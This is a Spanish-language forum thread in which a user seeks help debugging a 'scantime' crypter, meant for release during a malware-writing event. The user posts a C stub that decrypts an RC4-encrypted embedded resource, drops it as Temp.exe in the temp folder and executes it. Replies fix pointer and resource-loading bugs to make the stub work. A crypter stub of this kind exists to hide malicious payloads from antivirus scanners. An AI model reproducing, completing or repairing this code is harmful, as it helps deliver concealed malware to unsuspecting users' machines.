Autor
|
Tema: Problemas con un crypter en VB6/C (Leído 3,858 veces)
|
illuminat3d
|
Bueno hace varios dias que llevo con este problemilla por mas que he preguntado a amiguetes que conocen C no encuentran el error.. es un crypter 'scantime' y mando los datos del cifrado por recursos, no se que estoy haciendo mal para que el stub no haga ninguna acción, y no veo el error. El encriptador está en VB6, os pongo el binario por si me queréis ayudar probandolo con el stub, mirandolo con un editor de recursos para ver si pasa los datos bien etc (pero si los pasa bien..) aqui os lo dejo (el encriptador en VB6). El stub está metido como recurso en el encriptador, asi que si queréis probar o algo necesitaréis meterlo de nuevo y sobreescribir el otro. Este es el code del stub en C (compilado con Visual C++ 6) : #pragma optimize("gsy", on) #pragma comment(linker, "/MERGE:.rdata=.data") #pragma comment(linker, "/MERGE:.reloc=.data") #pragma comment(linker, "/MERGE:.text=.data") #pragma comment(linker, "/ENTRY:main") #include <windows.h> LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen); void main() { HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA); DWORD Size=SizeofResource(GetModuleHandle(NULL),hRes); MessageBoxA(0,"1","",0); LPSTR Buff=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size); LPSTR tFile=(LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,MAX_PATH); MessageBoxA(0,"2","",0); HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes); Buff=(LPSTR)LockResource(hBuff); LPSTR xPass=&Buff[Size-11]; Buff=RC4(Buff,xPass,Size-11,10); MessageBoxA(0,"4","",0); GetTempPath(MAX_PATH,tFile); lstrcatA(tFile,"\\Temp.exe"); HANDLE hFile=CreateFile(tFile,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(hFile,Buff,Size,0,0); CloseHandle(hFile); ShellExecute(NULL,NULL,tFile,NULL,NULL,1); } LPSTR RC4(LPSTR szBuf, LPSTR szKey, DWORD dwBufLen, DWORD dwKeyLen) { int i, j = 0, s[256]; DWORD dw; BYTE tmp; LPBYTE Buf = (LPBYTE)szBuf; LPBYTE Key = (LPBYTE)szKey; for(i = 0; i < 256; i++) { s[i] = i; } for(i = 0; i < 256; i++) { j = (j + s[i] + Key[i % dwKeyLen]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } for(dw = 0; dw < dwBufLen; dw++) { i = (i + 1) % 256; j = (j + s[i]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; Buf[dw] ^= s[(s[i] + s[j]) % 256]; } return (LPSTR)Buf; }
Los MessageBox para saber hasta donde llegaba, ya que todavia no me manejo bien con el Olly xD A ver si podeis encontrar el error y hacerme algunas recomendaciones, y lo publico para el abril negro =) Saludos! PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona?
|
|
« Última modificación: 20 Abril 2010, 13:55 pm por shark0 »
|
En línea
|
|
|
|
E.P.I.
Desconectado
Mensajes: 346
elprogramadorinformatico [E.P.I.]
|
PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona? Puede ser porque la estructura de MessageBox() sea: int MessageBox( __in HWND hWnd, __in LPCTSTR lpText, __in LPCTSTR lpCaption, __in UINT uType );
Intenta pasarlo a un int Saludos PD: ¡me hiciste caso con HeapAlloc() ! ¿fue por lo que te dije?
|
|
« Última modificación: 20 Abril 2010, 18:09 pm por E.P.I. »
|
En línea
|
La verdad nos hará libres
|
|
|
illuminat3d
|
PD : Dudita segundona, porque si hago un MessageBox a un LPSTR no funciona? Puede ser porque la estructura de MessageBox() sea: int MessageBox( __in HWND hWnd, __in LPCTSTR lpText, __in LPCTSTR lpCaption, __in UINT uType );
Intenta pasarlo a un int Saludos PD: ¡me hiciste caso con HeapAlloc() ! ¿fue por lo que te dije? Pero si es texto el LPSTR como lo voy a pasar a integer?.. =S Si lo del HeapAlloc n ose quien me lo dije y lo empece a usar.. jeje Me refiero a esto : LPSTR Variable; MessageBox(NULL,Variable,NULL,NULL);
|
|
« Última modificación: 20 Abril 2010, 19:01 pm por shark0 »
|
En línea
|
|
|
|
Littlehorse
All the world's a stage
Moderador
Desconectado
Mensajes: 2.714
Nie Dam Sie
|
MessageBox(NULL,Variable,NULL,0);
|
|
|
En línea
|
An expert is a man who has made all the mistakes which can be made, in a very narrow field.
|
|
|
illuminat3d
|
MessageBox(NULL,Variable,NULL,0);
Vale no se me mostraba porque el code no llega mas despues de estas lineas : HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes); Buff=(LPSTR)LockResource(hBuff); LPSTR xPass=&Buff[Size-11];
Algo esta fallando por ahi y no se que puede ser.. =/
|
|
|
En línea
|
|
|
|
Littlehorse
All the world's a stage
Moderador
Desconectado
Mensajes: 2.714
Nie Dam Sie
|
for(i = 0; i < 256; i++) { j = (j + s[i] + Key[i % dwKeyLen]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; }
Aparentemente es ahí donde te explota el programa. Depuralo, y por favor, no hagas doble post. Saludos
|
|
|
En línea
|
An expert is a man who has made all the mistakes which can be made, in a very narrow field.
|
|
|
illuminat3d
|
for(i = 0; i < 256; i++) { j = (j + s[i] + Key[i % dwKeyLen]) % 256; tmp = s[i]; s[i] = s[j]; s[j] = tmp; }
Aparentemente es ahí donde te explota el programa. Depuralo, y por favor, no hagas doble post. Saludos Vale lo siento, pero si no hago ese doble post se va hacia abajo y se olvidan del tema.. a ver estuve depurando a mi modo (con messageboxs) y creo que el problema viene que no obtiene los datos del recurso, ¿porque? no lo se.. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes); Buff=(LPSTR)LockResource(hBuff); MessageBoxA(0,Buff,"",0);
Me devolvió un MessageBox vacio.. ¿estaré usando mal la API?.. Ayudita?! PD : Aqui pongo una imagen del resource hacker mostrando el recurso del stub. (Lo seleccionado es la contraseña del cifrado)Y ese recurso lo cargo asi : HRSRC hRes=FindResource(GetModuleHandle(NULL),"DATA",RT_RCDATA);
|
|
« Última modificación: 21 Abril 2010, 14:11 pm por shark0 »
|
En línea
|
|
|
|
[Zero]
Wiki
Desconectado
Mensajes: 1.082
CALL DWORD PTR DS:[0]
|
Buf, vaya confusión mental . Lo primero, el fallo no puede estar en la función RC4 porque yo usé esa misma en muchos codes y jamás me dió problemas. Lo del MessageBox es que no sabes aún lo que es un puntero LPSTR Variable; MessageBox(NULL,Variable,NULL,NULL);
Si supieras que es un puntero sabrías que le estás pasando a MessageBox un puntero nulo que puede apuntar a cualquier lado, lo que se traduce en un crasheo. HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes); Buff=(LPSTR)LockResource(hBuff); MessageBoxA(0,Buff,"",0);
Otro fallo de no tener claro lo que es un puntero, el resource no contine el caracter nulo que le indica al MessageBox hasta donde tiene que leer. DWORD dwResSize=SizeofResource(GetModuleHandle(NULL),hRes); LPSTR lpRes=(LPSTR)GlobalAlloc(GPTR,dwResSize+1); HGLOBAL hBuff=LoadResource(GetModuleHandle(NULL),hRes); Buff=(LPSTR)LockResource(hBuff); MessageBox(0,lpRes,0,0);
Lo hice a ojo, pero debería de estar bien. Saludos Edito: Además debes usar caracteres printeables, no todos los valores hexadecimales son printeables en un MessageBox. Utiliza letras ASCII y no intentes con otros valores hasta que lo consigas así.
|
|
« Última modificación: 21 Abril 2010, 15:49 pm por Hacker_Zero »
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza. Nietzsche
|
|
|
river_0119
Desconectado
Mensajes: 29
|
para usar LPSTR tienes que usar MessageBoxA para los que se esten iniciando (como yo)
|
|
|
En línea
|
|
|
|
bizco
Desconectado
Mensajes: 698
|
Verifica el resultado de las funciones, y usa printf para ver si el resultado es correcto. si no sabes depurar aun, usa en tu codigo INT 3 para que el depurador para solo justo en la zona de codigo que quieres verificar.
|
|
|
En línea
|
|
|
|
|
|